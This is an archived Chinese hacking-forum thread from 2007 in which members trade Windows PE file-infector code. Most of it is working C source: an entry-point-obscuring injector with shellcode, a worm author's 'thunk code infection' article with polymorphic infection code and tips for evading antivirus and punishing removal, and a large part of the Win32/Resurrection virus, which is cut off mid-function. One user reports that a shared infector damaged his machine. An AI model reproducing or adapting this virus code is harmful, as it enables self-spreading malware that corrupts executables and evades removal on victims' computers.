邪恶八进制信息安全团队技术讨论组's Archiver

教主 2007-7-10 21:13

[原创]一个VC++的感染EXE模块演示

软件作者:教主
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

想拿这个跟牛人换比较不错的代码。愿意的发邮件联系我哟。
要换的代码类型不限。
此程序VC++ 编写。

会遍历磁盘的EXE文件并实施感染。

[color=#FF0000]请一定要在影子系统模式运行![/color]

sudami 2007-7-10 22:22

晕,VC写的好强啊, 我的部分exe都被感染了,还老是释放病毒文件...

搞的遨游没了,而且还替换了系统的一些东西...... [s:283]

dream2fly 2007-7-10 22:29

修改IAT?

kylin 2007-7-10 23:22

谁反一下啊?
如果只是 简单的 添加区段
那就算了

落叶树 2007-7-11 12:28

不一定要学汇编,PE文件格式要熟悉倒是真的

54sking 2007-7-11 13:22

看雪论坛
CVC电脑病毒论坛
都有VC版本的PE感染例子,不能上传,子能贴贴了
[code]/**************************************************************
* 函数:InjectCode
* 参数:char szHostFile[]--待感染的exe文件路径

* 功能:感染一个exe程序,运行显示“金猪拜年”的MessageBox
* 从代码节开始搜索,替换第一个发现的call api的指令
* 把目标代码插入代码节的尾部
* 代码仅供演示之用,没有做过多的错误处理
* 感染当前hello.exe,插入一段弹出对话框代码(当然你可以修改成启动文件的代码,嘿嘿)
* coded by robinh00d
* robinh00d_at_163.com
* 编译:cl epo.c
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
  PIMAGE_DOS_HEADER pImageDosHeader ;
  PIMAGE_NT_HEADERS pImageNtHeaders ;
  PIMAGE_SECTION_HEADER pImageSectionHeader;
  unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
              "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
              "\x8d\x83\x30\x10\x40\x00\x50\x50"
              "\x6a\x00\xb8\x78\x56\x34\x12\xff"
              "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
              "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
              "\xC4\xEA\x00";
  HANDLE hFile ;
  HANDLE hMap ;
  LPVOID pMapping ;
  DWORD dwGapSize ;
  unsigned char *pGapEntry ;
  int i ;
  PROC MsgBox ;
  DWORD OldEntry ;
  int x = 0x18 ;
  int vir_len ;
  unsigned char *pSearch ;
  DWORD *dwCallNextAddr ;
  DWORD *dwCallDataOffset ;
  DWORD *dwCallDataAddr ;
  DWORD dwCallData ;
  DWORD dwCodeDistance ;
  DWORD *dwJmpAddr ;
  DWORD dwJmpData ;
  DWORD dwJmpVA ;

  //:::
  hFile = CreateFile(szHostFile,
            FILE_SHARE_READ|FILE_SHARE_WRITE,
            FILE_SHARE_READ|FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            FILE_ATTRIBUTE_NORMAL,
            NULL) ;
            
  if (hFile==INVALID_HANDLE_VALUE)
  {
    return -1 ;
  }
  
  hMap = CreateFileMapping(hFile,
              NULL,
              PAGE_READWRITE,
              0,
              0,
              NULL) ;
  if (!hMap)
    return -1 ;
  
  pMapping = MapViewOfFile(hMap,
            FILE_MAP_ALL_ACCESS,
            0,
            0,
            0) ;
  if (!pMapping)
    return -1 ;
  
  pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
  if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
  {
    pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
    if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
    {
      pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                              pImageDosHeader->e_lfanew+
                              sizeof(IMAGE_NT_HEADERS)) ;
      dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

>Misc.VirtualSize ;
      
      if (sizeof(thunkcode)>dwGapSize)
        goto Close ;
        
      pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                      (DWORD)pMapping+
                      pImageSectionHeader->Misc.VirtualSize) ;
      
      OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
            pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

      MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

      //修改为当前系统的MessageBoxA地址
      for (i=3;i>=0;i--)
      {
        thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
        x -= 8 ;
      }
      x = 24 ;
      
      vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
      
      pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
            (DWORD)pMapping) ;
            
      //:::搜索call指令(0xe8)
      for (i=0;i<vir_len;i++)
      {
        if (pSearch[i]==0xe8)
        {
          dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
          dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
          dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
          dwJmpVA = (DWORD)dwJmpAddr-
                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                pImageNtHeaders->OptionalHeader.ImageBase+
                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
          dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

          if ((*dwJmpAddr&0xffff)==0x25ff)
          {
            dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
            *dwCallDataAddr = dwCodeDistance ;
            for (i=3;i>=0;i--)
            {
              thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
              x -= 8 ;
            }
            for (i=0;i<sizeof(thunkcode);i++)
            {
              pGapEntry[i] = thunkcode[i] ;
            }
            break ;
          }
        }
        
      }
      
    }
  }

Close:
  UnmapViewOfFile(pMapping) ;
  CloseHandle(hMap) ;
  CloseHandle(hFile) ;
  
  return 0 ;
}[/code]

54sking 2007-7-11 14:08

蠕虫文件感染新技术 Thunk Code Infection
By Vancheer/CVC

这里所说的感染技术,未见有蠕虫用过,所以谓之为新。本来这个技术打算用在我策划(或者叫谋划、
煽动)的新一代Email蠕虫里的。该蠕虫一旦成功,有望成为又一个“奇迹”。但遗憾的是,由于种种
原因,这个蠕虫没有最终完成,整个计划失败了。所以我现在才能公开这个技术,而且其它的一些技术
,也将逐步公布出来。如果有CVC的兄弟想完成这个蠕虫,可以联系我。

这里的蠕虫,指的是高级语言蠕虫或者用汇编写的但作为文件独立存在的蠕虫。

首先看看目前已有的蠕虫感染文件的主要方法。
1,捆绑。比如Nimda,把原文件放在自己的资源里,当然也可以放在蠕虫文件的尾部。缺点是原文件增
大太多,容易被发现。
2,伴侣。比如Klez,生成一个和原文件大小一模一样的蠕虫文件。缺点是无故增加了一个文件,而且不
能感染所有文件。
上面两种方式,都存在一个问题,原文件启动变慢太多。
3,作为DLL存在,然后在每一个被感染文件里插入一个Import项。缺点是一旦蠕虫被删除,则所有被感
染文件都运行不了了。
4,不感染。很多蠕虫是这种方式。缺点是太容易清除了,即使不用杀毒软件,只要把蠕虫文件一删,就
算清除了。

我这种方法,是一个折中的方法。
具体做法是:
把蠕虫文件Copy到系统目录(或者其它目录),只生成一个文件。然后全盘搜索,感染文件。感染时,
在被感染文件体内插入一小段汇编代码(thunk),用来调用蠕虫程序。调用的方法,当然是
CreateProcess了。
大致代码如下
set seh
call CreateProcess
remove seh
return to host
sehHandler:
set eip to host entry point

每个人都可以写出不同的插入代码,功能也不一样,上面是我写的基本伪代码,解释如下。
1,这段代码最大也不会超过100字节,好处是可以不增大宿主文件的大小,而是利用代码块最后的空隙
插入,这样也不容易被启发式查出。下面讨论的几点,也都是出于优化大小的目的。
2,CreateProcess的地址,可以由蠕虫感染时写入当前OS的硬地址。这是比较合理的,因为一般用户不
会经常切换操作系统的。
3,SEH的建立是防止CreateProcess地址不对(OS不对)导致异常。

好处和改进:
1,CreateProcess的地址,也可以不用硬编码,可以动态获得。但搜索Kernel32基地址不太值得,可以
像Funlove那样硬编码若干OS的地址。
2,一个大问题是清除比较容易,只要删除蠕虫文件就行了。改进方法是一旦发现CreateProcess失败
(不是发生异常),就判断是不是感染的主机,如果不是,说明此可执行文件被Copy到别的机器上了,
那么就跳回宿主继续执行,否则说明用户把蠕虫删除了,那就给他点颜色,要么不执行,要么自删除此
文件。
判断是否是感染主机,可以采用判断机器名的方式,也可以用其它方法,原则是越简单越好。
更狠一点的,是不管三七二十一,一律自删除。
3,可以使被感染文件启动迅速。如果蠕虫用Mutex来判断是否运行,那么在那段thunk里就可以直接判断
Mutex,这样一般就不用启动蠕虫程序了。
4,可以进行完全的变形,使得thunk几乎无法被杀毒软件查出。由于插入的thunk比较小,所以可以由程
序随机生成,进行完全的变形。
5,不增加被感染文件的大小,可以感染大部分文件(除了少量SFX文件,代码块空隙不够大的文件,等
等)。
6,对于不同的被感染文件,由于可用的空隙不同,所以可以生成不同的thunk,如果空隙大,则可以功
能多点,空隙小,则就是一个最基本的CreateProcess就得了。这样就形成了一种随机,在一个用户的系
统里,有些文件是这样感染的,有些则是那样感染的,让用户和AV软件不知所措。随机,是形成好病毒
的基础之一………………

一个完整的thunk应该是下面这个样子
1,建立SEH
2,确定API(CreateProcess等)地址
3,检查Mutex
4,启动蠕虫程序
5,检查CreateProcess返回的错误情况,并做相应处理

其中只有第四步是最关键也是最必须的,1,2步是为了更安全,确保程序不崩溃,3是为了使被感染文件
启动迅速,5则是对抗用户删除蠕虫文件的行为。
再扩展一下思路,可以把插入的thunk看做一个PE病毒,这个病毒的目的就是启动蠕虫而已,这样很多病
毒的思路也可以放到thunk里了。

这种感染方式是否有效,还有待实践的检验。现在的蠕虫,越来越追求传播速度,疯狂发Email,而不注
意自身的隐蔽和健壮,结果导致传播速度越来越快,而杀毒也越来越容易。一个好的文件感染方法,是
非常必要的,可以令杀毒变得麻烦。
我心目中的理想Email蠕虫,不是一天发上千万邮件的(这种东西Spammer做的就很好了),而是感染范
围广,存活时间长,让用户杀毒的时候感到头疼的。

下面是我为原来的蠕虫计划写的感染代码,用VC实现,是最简单的,只进行了非常初级的变形
(调换寄存器)。
[code]#include "windows.h"

char *InfectCode = NULL;
DWORD aCreateProcess = 0;

int GetRand()
{
  return rand();
}

//disassemblied thunk code
/*
:00401000.6842104000   push  00401042         
:00401005 33C9      xor  ecx,ecx         
:00401007 64FF31     push  fs:dword ptr [ecx]     
:0040100A 648921     mov  fs:[ecx],esp        
:0040100D 33C0      xor  eax,eax         
:0040100F 6A10      push  00000010         
:00401011 59       pop  ecx            
:00401012 50       push  eax            
:00401013 E2FD      loop  T.00401012 (00401012)  
:00401015 6A44      push  00000044         
:00401017 8BD4      mov  edx,esp         
:00401019 83EC10     sub  esp,00000010        
:0040101C 8BCC      mov  ecx,esp         
:0040101E 51       push  ecx            
:0040101F 52       push  edx            
:00401020 50       push  eax            
:00401021 50       push  eax            
:00401022 50       push  eax            
:00401023 50       push  eax            
:00401023 50       push  eax            
:00401024 50       push  eax            
:00401025 50       push  eax            
:00401026 6854104000   push  00401054         
:0040102B 50       push  eax            
:0040102C B878563412   mov  eax,12345678        
:00401031 FFD0      call  eax            
:00401033 83C454     add  esp,00000054        
:00401036 33C9      xor  ecx,ecx         
:00401038 648F01     pop  fs:dword ptr [ecx]     
:0040103B 5E       pop  esi            
:0040103C 6868104000   push  00401068         
:00401041 C3       ret               
:00401042 6868104000   push  00401068         
:00401047 8B442410    mov  eax,[esp+10]        
:0040104B 8F80B8000000  pop  dword ptr [eax+000000B8]  
:00401051 33C0      xor  eax,eax         
:00401053 C3       ret               
;vfilename is here
*/

/*
Build the thunk code. This is the kernel code.
Parameters:
hostentry:original file&#39;s code entry point(RVA)
startaddr:where my thunk code start(RVA)
vname:worm file name, include full path
*/
int BuildInfectCode(const DWORD hostentry, const DWORD startaddr, const char *vname)
{
  char *p = InfectCode;
  unsigned char t, c1, c2;
  int i;

  if(0 == aCreateProcess)
    aCreateProcess = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateProcessA");
//code body
  *p++ = 0x68; //push
  *(DWORD *)p = startaddr + 0x42; //seh handler
  p += 4;
  t = GetRand() % 3; //eax, edx, ecx
  *p++ = 0x31 + ((GetRand() && 1) << 1); //xor
  *p++ = 0xc0 | (t << 3) | t; //xor reg, reg
  *p++ = 0x64; //fs
  *p++ = 0xff; //push
  *p++ = 0x30 | t;
  *p++ = 0x64; //fs
  *p++ = 0x89; //mov
  *p++ = 0x20 | t; //mov [reg], esp

  t = GetRand() % 3; //eax, edx
  if(0x01 == t) t = 0; //don&#39;t use ecx
  *p++ = 0x31 + ((GetRand() && 1) << 1); //xor
  *p++ = 0xc0 | (t << 3) | t; //xor reg, reg
  *(WORD *)p = 0x106a; //push 10h
  p += 2;
  *p++ = 0x59; //pop ecx
  *p++ = 0x50 | t; //push reg
  *(WORD *)p = 0xfde2; //loop $ - 3
  p += 2;

  *(WORD *)p = 0x446a; //push 44h
  p += 2;

  c1 = (t + 1) % 3;
  for(c2 = 0; c2 < 3; c2++)
    if(c2 != t && c2 != c1) break;
  *p++ = 0x8b; //mov
  *p++ = 0xc4 | (c1 << 3); //mov reg1, esp STARTUPINFO
  *(DWORD *)p = 0x8b10ec83; //sub esp, 10h/mov
  p += 4;
  *p++ = 0xc4 | (c2 << 3); //mov reg2, esp PROCESS_INformATION
  *p++ = 0x50 | c2; //push reg2
  *p++ = 0x50 | c1; //push reg1
  for(i = 0; i < 6; i++)
    *p++ = 0x50 | t; //push reg, reg is 0

  *p++ = 0x68; //push
  *(DWORD *)p = startaddr + 0x54; //virus file name
  p += 4;
  *p++ = 0x50 | t; //push reg, reg is 0

  t = GetRand() % 3; //eax, edx, ecx
  *p++ = 0xb8 | t; //mov
  *(DWORD *)p = aCreateProcess; //mov reg, aCreateProcess
  p += 4;
  *p++ = 0xff;
  *p++ = 0xd0 | t; //call reg
  t = GetRand() % 3; //eax, edx, ecx
  *(DWORD *)p = 0x3354c483; //add esp, 54h/xor
  p += 4;
  *p++ = 0xc0 | (t << 3) | t; //xor reg, reg
  *p++ = 0x64; //fs
  *p++ = 0x8f; //push
  *p++ = t;
  *p++ = 0x58 | (GetRand() % 3);

  *p++ = 0x68; //push
  *(DWORD *)p = hostentry; //host entry
  p += 4;
  *p++ = 0xc3; //retn

//seh handler
  *p++ = 0x68; //push
  *(DWORD *)p = hostentry; //host entry
  p += 4;
  *(DWORD *)p = 0x1024448b; //mov eax, [esp + 10h]
  p += 4;
  *(WORD *)p = 0x808f; //pop
  p += 2;
  *(DWORD *)p = 0xb8; //pop [eax + 0b8h]
  p += 4;
  *(WORD *)p = 0xc033; //xor eax,eax
  p += 2;
  *p++ = 0xc3; //retn

  i = -1;
  do {
    *p++ = vname[++i];
  }while(vname[i] != 0);

  return p - InfectCode;
}

void InfectFileHelper(char *buf, const char *vname)
{
  char *p = buf, *sec;
  DWORD entry, code, t, startaddr, base;
  int i, seccount, clen;

  if(NULL == InfectCode)
    InfectCode = new char[4096];
  try {
    if(*(WORD *)p != 0x5a4d) return;
    p = buf + *(WORD *)(p + 0x3c);
    if(*(WORD *)p != 0x4550) return;
    t = *(WORD *)(p + 0x5c);
    if(t != 0x02 && t != 0x03) return;
    entry = *(DWORD *)(p + 0x28);
    sec = p + 0x100;
    seccount = *(WORD *)(p + 6);
    for(i = 0; i < seccount; i++) {
      if(*(DWORD *)(sec + 4) <= entry
        && *(DWORD *)sec + *(DWORD *)(sec + 4) > entry)
        break;
      sec += 0x28;
    }
    if(i >= seccount - 1)
      return; //assume the code section is not the last one
    t = *(DWORD *)(sec + 0x08);
    if(*(DWORD *)sec < t) t = *(DWORD *)sec;
    startaddr = *(DWORD *)(sec + 0x04) + t;
    base = *(DWORD *)(p + 0x34);
    clen = BuildInfectCode(entry + base, startaddr + base, vname);
    code = t + *(DWORD *)(sec + 0x0c);
    if(*(DWORD *)(sec + 0x28 + 0x0c)
      <= code + clen)
      return; //no enough room
    MoveMemory(buf + code, InfectCode, clen);
    *(DWORD *)(p + 0x28) = startaddr;
  }
  catch(...) {
  }
}

void InfectFile(const char *filename, const char *vname)
{
  HANDLE fh, fm;
  DWORD fa = GetFileAttributes(filename);
  FILETIME ft[3];
  char *buf;
  
  SetFileAttributes(filename, FILE_ATTRIBUTE_NORMAL);
  GetFileTime(fh, ft, ft + 1, ft + 2);
  fh = CreateFile(filename, GENERIC_READ | GENERIC_WRITE,
    FILE_SHARE_READ, NULL, OPEN_EXISTING,
    FILE_ATTRIBUTE_NORMAL, 0);
  if(INVALID_HANDLE_value == fh) goto end;

  fm = CreateFileMapping(fh, NULL, PAGE_READWRITE, 0, 0, NULL);
  if(fm != NULL) {
    buf = (char *)MapViewOfFile(fm, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);   
    if(buf != NULL) {
      InfectFileHelper(buf, vname);
      UnmapViewOfFile(buf);
    }
    CloseHandle(fm);
  }
  CloseHandle(fh);
end:
  SetFileAttributes(filename, fa);
  SetFileTime(fh, ft, ft + 1, ft + 2);
}

int main()
{
  srand(GetTickCount());
  InfectFile("D:\\cpp\\vt\\t2.exe", "e:\\tool\\peviewer.exe");
  return 0;
}[/code]

54sking 2007-7-11 14:09

[code]////////////////////////////////////////////////////////////////////
//
// Win32/Resurrection
//
// Coded in late June&#39;99/July&#39;99/[VX vacations]/December&#39;99
//
// (c)1999 Tcp/29A ([email]tcp@cryogen.com[/email])
//
// This is my 1st Windows virus (at last:) and the first coded by
// me in the last 2 years.
//
// It is a PE memory resident appending virus fully written in C.
// I think it&#39;s the first virus written in C that doesn&#39;t change
// the NewExe pointer.
// It could be also the 1st resident virus for Alpha machines running
// NT. If you can compile and test it in Alpha, please send me a mail.
//
//
// How the virus work?
// - It creates a low priority thread that searchs and infects files.
// - It adds its sections reading them from memory, relocates the
//  code/data and fixes the relocs (then the virus needs always
//  its own reloc section).
//  It imports the host import section, replacing the ExitProcess
//  call to ExitThread; then the virus will be the main thread and
//  it can continue searching for files even when host has finnished.
// - If the file&#39;s last section is the reloc section, the virus
//  joins this section with its reloc section so if the file is
//  not loaded at its preferred address the system will reloc it
//  and the virus.
//
// The virus is called Resurrection because it&#39;s my resurrection in
// the VX scene.
// Unfortunately, I hadn&#39;t time to code the Resurrection payload:
// using OLE automation and the C:\CLASS.SYS from W97M/Class (or
// the one from Ethan) it could resurrect the virus.
// Then I coded a simple payload that changes the captions in
// MessageBoxes used by the host.
//
// Sorry for the obfuscated C and poorly optimized code, but it
// works (i hope) and, hey, it&#39;s a virus :)
//
// This virus is dedicated to Jacky Qwerty, we&#39;ll miss you. And to
// 29Aers for don&#39;t kicking a lazy and improductive member as I am ;)
//
// Well, now i got another 2 years credit hahaha (not!)
//
//  Tcp.
//
////////////////////////////////////////////////////////////////////


/////////////
// Includes
/////////////
#include <stdio.h>
#include <windows.h>


/////////////////////
// Defines
/////////////////////

#define MEMALLOC(x) GlobalAlloc(GPTR, x)
#define MEMFREE(x) GlobalFree(x)


/////////////////////
// Type definitions
/////////////////////

typedef struct
{
WORD RelocOfs : 12;
WORD RelocType: 4;
} IMAGE_RELOCATION_DATA;

////////////
// Globals
////////////
IMAGE_NT_HEADERS PEHeader;
IMAGE_DOS_HEADER * IDosHeader;
IMAGE_NT_HEADERS * IPEHeader;
IMAGE_SECTION_HEADER * ISection;
IMAGE_SECTION_HEADER * Section = NULL;
int Generation = 1;
int VirusSections = 0;
int FirstVirusSection = 0;
int VirusCodeSection = 0;
int VirusImportSection = 0;
DWORD VirusImportSize = 0;
DWORD VirusRVAImports = 0;
DWORD HostRVAImports = 0;
int VirusRelocSection = 0;
DWORD VirusRelocSize = 0;
DWORD VirusRelocSizeDir = 0;
DWORD OfsSections = 0;
DWORD VirusBaseRVA = 0;
DWORD VirusEP = 0;
DWORD HostEP = 0;

//// Fix for Visual C 5.0 heap
//extern __small_block_heap;



//////////////
// Functions
//////////////


/////////////////////////////////////
// GetProcAddress for ordinal imports
/////////////////////////////////////
DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
{
IMAGE_NT_HEADERS * DLLHeader;
IMAGE_EXPORT_DIRECTORY * Exports;
DWORD * AddrFunctions;

DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
return Base + AddrFunctions[NFunc - Exports->Base];
}



//////////////////////////////////
// Check file and read PE header
//////////////////////////////////
int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
{
IMAGE_DOS_HEADER FileHeader;
WORD SizeSections;
DWORD BytesRead;

return
   (   // Read file header
    ( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
    &&
    ( BytesRead == sizeof(IMAGE_DOS_HEADER) )
    &&  // Check if EXE file
    ( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
    &&  // Seek to NewExe header
    ( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
    &&  // Read header
    ( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
    &&
    ( BytesRead == sizeof(IMAGE_NT_HEADERS) )
    &&  // Check if PE file
    ( PEHeader.Signature == IMAGE_NT_SIGNATURE )
    &&  // Alloc memory for file sections + virus sections
    ( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
    &&
    ( (Section = MEMALLOC(SizeSections)) != NULL )
    &&
    ( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
    &&  // Read PE sections
    ( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
    &&
    ( BytesRead == SizeSections )
    &&  // Check if there is enough room for our sections
    ( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
    &&  // Only infect when entry point belongs to 1st section
      // Avoid reinfections and compressors (usually perform virus checks)
    ( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
    &&  // Skip DDLs
    ( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
    &&  // Skip files with overlays or not aligned to file alignment
    ( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
    &&  //Check if the host will overwrite our code with its unitialized data (not present in disk)
    ( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
   );
}



///////////////////////////////////////
// Translates a RVA into a file offset
///////////////////////////////////////
DWORD RVA2Ofs(DWORD rva)
{
int NSect;

NSect = 0;
while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
{
  if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
   break;
  NSect++;
}
return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
}



////////////////////////////////////////////
// I can&#39;t remember what this function does
////////////////////////////////////////////
void InfectFile(HANDLE FHandle)
{
BYTE * Relocations = NULL;
BYTE * HostRelocs = NULL;
BYTE * Ptr;
IMAGE_BASE_RELOCATION * RelocBlock;
IMAGE_RELOCATION_DATA * PtrReloc;
int j;

// Let&#39;s do some initializations
Section = NULL;
Relocations = NULL;
HostRelocs = NULL;
Ptr = NULL;

if (ReadPEHeader(FHandle))
{
  DWORD SectionRVA;
  int HostNSections;
  DWORD HostRelocsSize;
  DWORD BytesRead;
  int i;

  HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
  HostNSections = PEHeader.FileHeader.NumberOfSections;

  HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

  // Search for victim import section
  for (i=0; i<HostNSections; i++)
  {
   if (Section[i].VirtualAddress + Section[i].SizeOfRawData > HostRVAImports)
   {
    // Do it writable
    Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE;
    break;
   }
  }

  // Check if last section is .reloc
  HostRelocsSize = 0;
  if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
  {
   // Then we&#39;ll join it to virus reloc section
   VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
   if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
   {
    goto L_Exit_Infect;
   }
   else // Read the .reloc section
   {
    HostNSections--;
    SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
    ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
    SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
   }
  }
  else // There is no .reloc or it is not the last section
  {
   if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
   { // There are relocs but we didn&#39;t find them, so exit
    goto L_Exit_Infect;
   }
   VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
   SetFilePointer(FHandle, 0, NULL, FILE_END);
  }

  FirstVirusSection = HostNSections;
  // Add virus section table
  CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);

  // Reloc virus code & fix reloc sections
  if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
  {
   goto L_Exit_Infect;
  }
  CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
  
  RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
  PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));

  // Reloc all virus sections and write them to disk
  for (i=0; i<VirusSections; i++)
  {
   DWORD RelocsInBlock;

   Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);
   Section[HostNSections + i].VirtualAddress = SectionRVA;
   Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
  
   if (i == VirusRelocSection) // Virus reloc section?
   {
    PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
    PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
    Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
    Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
    // Write host relocations
    WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
    // Add virus relocations
    WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
    // Fill with zeros until file alignment
    memset(Relocations, 0, 0x1000);
    WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
   }
   else
   {
    if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)
    {
     goto L_Exit_Infect;
    }
    CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData);

    // Patch Visual C 5.0 heap in .data section
/*
    {
     DWORD * PtrHeap = &__small_block_heap;

     if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap)
        &&
       ((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData > (DWORD)PtrHeap)
       )
     {
      PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress);
      PtrHeap[3] = PtrHeap[2];
      PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
     }
    }
*/   
    // Do relocations in this section
    while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > RelocBlock->VirtualAddress)
        &&
        ((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
       )
    {
     DWORD Base;

     Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress;
     RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
     while (RelocsInBlock--)
     {
      if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
      {
      *((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);
       *((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
      }
      PtrReloc++;
     }
     RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA;
     RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
